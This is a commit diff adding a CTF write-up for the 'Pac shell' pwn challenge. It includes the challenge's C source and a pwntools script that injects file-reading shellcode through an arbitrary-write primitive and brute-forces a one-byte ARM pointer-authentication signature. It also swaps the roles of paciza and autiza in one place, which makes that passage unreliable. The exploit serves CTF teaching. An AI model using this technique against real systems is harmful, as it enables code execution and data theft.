Skip to content

Commit 4f04d96

Browse files
committed
pac shell writeup
1 parent 2d311bb commit 4f04d96

File tree

2 files changed

+352
-2
lines changed

2 files changed

+352
-2
lines changed

mkdocs.yml

+1-1
Original file line numberDiff line numberDiff line change
@@ -20,4 +20,4 @@ nav:
2020
- sssshhhh: ./sssshhhh/index.md
2121
- Rusty vault: ./rusty/index.md
2222
- Jmp flag: ./jmp_flag/index.md
23-
# - Pac shell: ./pac_shell/index.md
23+
- Pac shell: ./pac_shell/index.md

solve/pac_shell/index.md

+351-1
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,90 @@ Solved: 55
1717

1818
Input files:
1919

20-
??? info "encoding.txt"
20+
??? info "pacsh.c"
21+
```c
22+
#include <stdio.h>
23+
#include <stdlib.h>
24+
#include <string.h>
2125

26+
typedef struct {
27+
char name[8];
28+
void (*fptr)();
29+
} builtin_func;
30+
31+
void ls() {
32+
system("ls");
33+
}
34+
35+
void read64() {
36+
unsigned long* addr;
37+
printf("read64> ");
38+
scanf("%p", &addr);
39+
printf("%8lx\n", *addr);
40+
}
41+
42+
void write64() {
43+
unsigned long* addr;
44+
unsigned long val;
45+
printf("write64> ");
46+
scanf("%p %lx", &addr, &val);
47+
*addr = val;
48+
}
49+
50+
void help();
51+
builtin_func BUILTINS[4] = {
52+
{ .name = "help", .fptr = help },
53+
{ .name = "ls", .fptr = ls },
54+
{ .name = "read64", .fptr = read64 },
55+
{ .name = "write64", .fptr = write64 },
56+
};
57+
58+
void help() {
59+
void (*f)();
60+
for(int i = 0; i < 4; i++) {
61+
f = BUILTINS[i].fptr;
62+
__asm__("paciza %0\n" : "=r"(f) : "r"(f));
63+
printf("%8s: %p\n", BUILTINS[i].name, f);
64+
}
65+
}
66+
67+
int main() {
68+
setvbuf(stdin, 0, 2, 0);
69+
setvbuf(stdout, 0, 2, 0);
70+
71+
void (*fptr)() = NULL;
72+
73+
puts("Welcome to pac shell v0.0.1");
74+
help();
75+
76+
while(1) {
77+
printf("pacsh> ");
78+
scanf("%p", &fptr);
79+
__asm__("autiza %0\n" : "=r"(fptr) : "r"(fptr));
80+
(*fptr)();
81+
}
82+
}
83+
```
84+
85+
??? info "Dockerfile"
86+
```dockerfile
87+
FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-22.04
88+
89+
ENV DEBIAN_FRONTEND=noninteractive
90+
RUN apt-get update \
91+
&& apt-get install -y gcc-aarch64-linux-gnu qemu-user qemu-user-static --fix-missing \
92+
&& rm -r /var/lib/apt/lists/*
93+
94+
ENV JAIL_CWD=/chal
95+
96+
COPY ./flag.txt /home/ctf/chal
97+
COPY ./ld-linux-aarch64.so.1 /home/ctf/chal
98+
COPY ./libc.so.6 /home/ctf/chal
99+
COPY ./pacsh /home/ctf/chal
100+
COPY ./run.sh /home/ctf/chal/pwn
101+
```
102+
103+
* [pac_shell.tar.gz](https://github.com/DownUnderCTF/Challenges_2024_Public/blob/f2797a33d8f5851508f37e854afceedf85eee8a3/pwn/pac-shell/publish/pac_shell.tar.gz) - also includes binary, libc and ld, run.sh
22104

23105
NB:
24106

@@ -37,6 +119,274 @@ NB:
37119

38120
## My struggle
39121

122+
### Analysis
123+
124+
First thing that I like to do is to inspect environment we deal with:
125+
126+
```bash title="run.sh"
127+
#!/bin/sh
128+
129+
qemu-aarch64 pacsh
130+
```
131+
132+
So, the binary is aarch64 and is running under emulation.
133+
134+
```dockerfile title="Dockerfile"
135+
FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-22.04
136+
137+
ENV DEBIAN_FRONTEND=noninteractive
138+
RUN apt-get update \
139+
&& apt-get install -y gcc-aarch64-linux-gnu qemu-user qemu-user-static --fix-missing \
140+
&& rm -r /var/lib/apt/lists/*
141+
142+
ENV JAIL_CWD=/chal
143+
144+
COPY ./flag.txt /home/ctf/chal
145+
COPY ./ld-linux-aarch64.so.1 /home/ctf/chal
146+
COPY ./libc.so.6 /home/ctf/chal
147+
COPY ./pacsh /home/ctf/chal
148+
COPY ./run.sh /home/ctf/chal/pwn
149+
```
150+
151+
There are 5 files in the container, and entrypoint command (`JAL_CWD`) is `/chal`. Flag is in `/home/ctf/chal`.
152+
153+
Now its time to focus on the application itself:
154+
155+
```c
156+
#include <stdio.h>
157+
#include <stdlib.h>
158+
#include <string.h>
159+
160+
typedef struct {
161+
char name[8];
162+
void (*fptr)();
163+
} builtin_func;
164+
165+
void ls() {
166+
system("ls");
167+
}
168+
169+
void read64() {
170+
unsigned long* addr;
171+
printf("read64> ");
172+
scanf("%p", &addr);
173+
printf("%8lx\n", *addr);
174+
}
175+
176+
void write64() {
177+
unsigned long* addr;
178+
unsigned long val;
179+
printf("write64> ");
180+
scanf("%p %lx", &addr, &val);
181+
*addr = val;
182+
}
183+
184+
void help();
185+
builtin_func BUILTINS[4] = {
186+
{ .name = "help", .fptr = help },
187+
{ .name = "ls", .fptr = ls },
188+
{ .name = "read64", .fptr = read64 },
189+
{ .name = "write64", .fptr = write64 },
190+
};
191+
192+
void help() {
193+
void (*f)();
194+
for(int i = 0; i < 4; i++) {
195+
f = BUILTINS[i].fptr;
196+
__asm__("paciza %0\n" : "=r"(f) : "r"(f));
197+
printf("%8s: %p\n", BUILTINS[i].name, f);
198+
}
199+
}
200+
201+
int main() {
202+
setvbuf(stdin, 0, 2, 0);
203+
setvbuf(stdout, 0, 2, 0);
204+
205+
void (*fptr)() = NULL;
206+
207+
puts("Welcome to pac shell v0.0.1");
208+
help();
209+
210+
while(1) {
211+
printf("pacsh> ");
212+
scanf("%p", &fptr);
213+
__asm__("autiza %0\n" : "=r"(fptr) : "r"(fptr));
214+
(*fptr)();
215+
}
216+
}
217+
```
218+
219+
There are 4 functions: `ls`, `read64`, `write64`, `help`. Main is a loop that reads address from user and calls function at
220+
that address. General ideal here would be:
221+
222+
1. Find writeable address;
223+
2. Write shellcode to that address using write64;
224+
3. Jump to that address from main loop.
225+
226+
Note that application is using AUTIZA/PACIZA instructions for address authentication.
227+
Some details can be found here: http://hehezhou.cn/isa/autia.html , http://hehezhou.cn/isa/pacia.html . Also ChatGPT did a good job explaining.
228+
In a nutshell, this instructions use top bits of a pointer to sign address. For example:
229+
230+
```bash
231+
Welcome to pac shell v0.0.1
232+
help: 0x01005500000b7c
233+
ls: 0x78005500000a54
234+
read64: 0x29005500000a78
235+
write64: 0x15005500000afc
236+
pacsh>
237+
```
238+
239+
We can see `autiza` in action:
240+
241+
* Address `0x5500000b7c` was signed by `autiza` with `0x01` in top bits.
242+
* Address `0x5500000a54` was signed by `autiza` with `0x78` in top bits.
243+
* Address `0x5500000a78` was signed by `autiza` with `0x29` in top bits.
244+
* Address `0x5500000afc` was signed by `autiza` with `0x15` in top bits.
245+
246+
`paciza` is an opposite operation, it converts `0x01005500000b7c` to `0x5500000b7c`.
247+
248+
I've build container locally so I can debug:
249+
250+
```bash
251+
$ ls
252+
Dockerfile ld-linux-aarch64.so.1 libc.so.6 pacsh pacsh.c run.sh
253+
$ echo mytestflag > flag.txt
254+
$ docker build . --tag tmp_container
255+
# -p 1337:1337 is port forwarding --privileged required by application (I guess for virtualization)
256+
$ docker run --rm --name pac_shell --privileged -p 1337:1337 tmp_container
257+
```
258+
259+
### Exploit
260+
261+
First step of our plan is to find out address we can write to. Running application several times I can see that addresses of
262+
functions `ls`, `read64`, `write64` and `help` have different first byte signature, but otherwise are same: 0x..5500000b7c. This
263+
means that application is loaded to the same address every time.
264+
265+
Not I got memory mapping of the process. Functions are located in the first segment, but its not writable. First writeable segment
266+
I can see is on line 5. That is what we are going to use.
267+
268+
```bash hl_lines="2 5"
269+
$ sudo cat /proc/51526/maps
270+
5500000000-5500001000 r--p 00000000 00:45 1634511 /chal/pacsh
271+
5500001000-5500011000 ---p 00000000 00:00 0
272+
5500011000-5500012000 r--p 00001000 00:45 1634511 /chal/pacsh
273+
5500012000-5500013000 rw-p 00002000 00:45 1634511 /chal/pacsh
274+
5500013000-5500020000 ---p 00000000 00:00 0
275+
5500020000-5500021000 rw-p 00010000 00:45 1634511 /chal/pacsh
276+
5501021000-5501022000 ---p 00000000 00:00 0
277+
5501022000-5501822000 rw-p 00000000 00:00 0
278+
5501822000-550184c000 r--p 00000000 00:45 1634475 /chal/ld-linux-aarch64.so.1
279+
550184c000-550185b000 ---p 00000000 00:00 0
280+
550185b000-550185d000 r--p 00029000 00:45 1634475 /chal/ld-linux-aarch64.so.1
281+
550185d000-550185f000 rw-p 0002b000 00:45 1634475 /chal/ld-linux-aarch64.so.1
282+
550185f000-5501860000 r--p 00000000 00:00 0
283+
5501860000-5501862000 rw-p 00000000 00:00 0
284+
5501870000-55019f9000 r--p 00000000 00:45 1634493 /chal/libc.so.6
285+
55019f9000-5501a08000 ---p 00189000 00:45 1634493 /chal/libc.so.6
286+
5501a08000-5501a0c000 r--p 00188000 00:45 1634493 /chal/libc.so.6
287+
5501a0c000-5501a0e000 rw-p 0018c000 00:45 1634493 /chal/libc.so.6
288+
5501a0e000-5501a1a000 rw-p 00000000 00:00 0
289+
```
290+
291+
Here is script that generates code and writes it to memory:
292+
293+
```py
294+
# function generates assembly to read flag and writes its to the base_addr
295+
def write_shell_code(base_addr, write64_addr):
296+
# use pwntools shellcraft to create assembly code for reading file flag.txt and then hang thread forever
297+
# if process immediately crashes/exists we won't get contents of the flag sent to us over network
298+
code = asm(shellcraft.cat("flag.txt") + shellcraft.infloop())
299+
300+
for i in range(0, len(code), 8): # iterate over code 8 bytes at a time
301+
# read next 8 bytes to send
302+
chunk_bytes = code[i:i + 8]
303+
# pad with 0 (only relevant for the last chunk if number of bytes in code is not mulitple of 8)
304+
chunk_bytes += bytearray(8 - len(chunk_bytes))
305+
# convert bytes to big endian and then into hex
306+
chunk_hex = hex(unpack(chunk_bytes))
307+
# instruct target application that we want to execute write64
308+
io.sendline(hex(write64_addr).encode())
309+
# wait till target application is ready to receive our input
310+
io.recvuntil(b"write64> ")
311+
# send address that we want to write too (for each chunk we increase it by i) and value of the chunk
312+
io.sendline((hex(base_addr + i) + " " + chunk_hex).encode())
313+
# wait till application executed our write instruction
314+
io.recvuntil(b"pacsh> ")
315+
```
316+
317+
Now our code is ready and all is left to do is jump there. But we can't just enter base address into the application: it requires
318+
address to be signed. Signature is only 1 byte, so it can be quickly bruteforce it in a loop.
319+
320+
??? success "solve.py"
321+
```py
322+
from pwn import *
323+
324+
context.binary = elfexe = ELF('pacsh')
325+
libc = elfexe.libc
326+
327+
context.log_level = 'warn'
328+
329+
# function generates assembly to read flag and writes its to the base_addr
330+
def write_shell_code(base_addr, write64_addr):
331+
# use pwntools shellcraft to create assembly code for reading file flag.txt and then hang thread forever
332+
# if process immediately crashes/exists we won't get contents of the flag sent to us over network
333+
code = asm(shellcraft.cat("flag.txt") + shellcraft.infloop())
334+
335+
for i in range(0, len(code), 8): # iterate over code 8 bytes at a time
336+
# read next 8 bytes to send
337+
chunk_bytes = code[i:i + 8]
338+
# pad with 0 (only relevant for the last chunk if number of bytes in code is not mulitple of 8)
339+
chunk_bytes += bytearray(8 - len(chunk_bytes))
340+
# convert bytes to big endian and then into hex
341+
chunk_hex = hex(unpack(chunk_bytes))
342+
# instruct target application that we want to execute write64
343+
io.sendline(hex(write64_addr).encode())
344+
# wait till target application is ready to receive our input
345+
io.recvuntil(b"write64> ")
346+
# send address that we want to write too (for each chunk we increase it by i) and value of the chunk
347+
io.sendline((hex(base_addr + i) + " " + chunk_hex).encode())
348+
# wait till application executed our write instruction
349+
io.recvuntil(b"pacsh> ")
350+
351+
352+
# iterate over 0..256 possible signatures
353+
for i in range(256):
354+
remote_server = 'localhost'
355+
remote_port = 1337
356+
io = remote(remote_server, remote_port)
357+
358+
# parse addresses of the functions from the welcome message
359+
# Welcome to pac shell v0.0.1
360+
# help: 0x34005500000b7c
361+
# ls: 0x9005500000a54
362+
# read64: 0x2a005500000a78
363+
# write64: 0x2f005500000afc
364+
# pacsh>
365+
io.recvuntil(b"help: 0x")
366+
help_addr = int(io.recvline(), 16)
367+
io.recvuntil(b"read64: 0x")
368+
read64_addr = int(io.recvline(), 16)
369+
io.recvuntil(b"write64: 0x")
370+
write64_addr = int(io.recvline(), 16)
371+
io.recvuntil(b"pacsh> ")
372+
373+
# address of writable segment with 0x100 bytes offset as a precaution
374+
base_addr = 0x5500012100
375+
write_shell_code(base_addr, write64_addr)
376+
377+
# append I as a top byte signature to the base address
378+
jumpAddress = hex(base_addr | int("{:02x}000000000000".format(i), 16))
379+
# send address to the application
380+
io.sendline(jumpAddress.encode())
381+
# read response its either crash info if signature is wrong or flag contents
382+
line = io.recvline()
383+
print(line)
384+
if b"Segmentation fault" not in line: # if its not crash info we got the flag - exit loop
385+
break
386+
io.close()
387+
388+
```
389+
40390

41391

42392
## Epilogue

0 commit comments

Comments
 (0)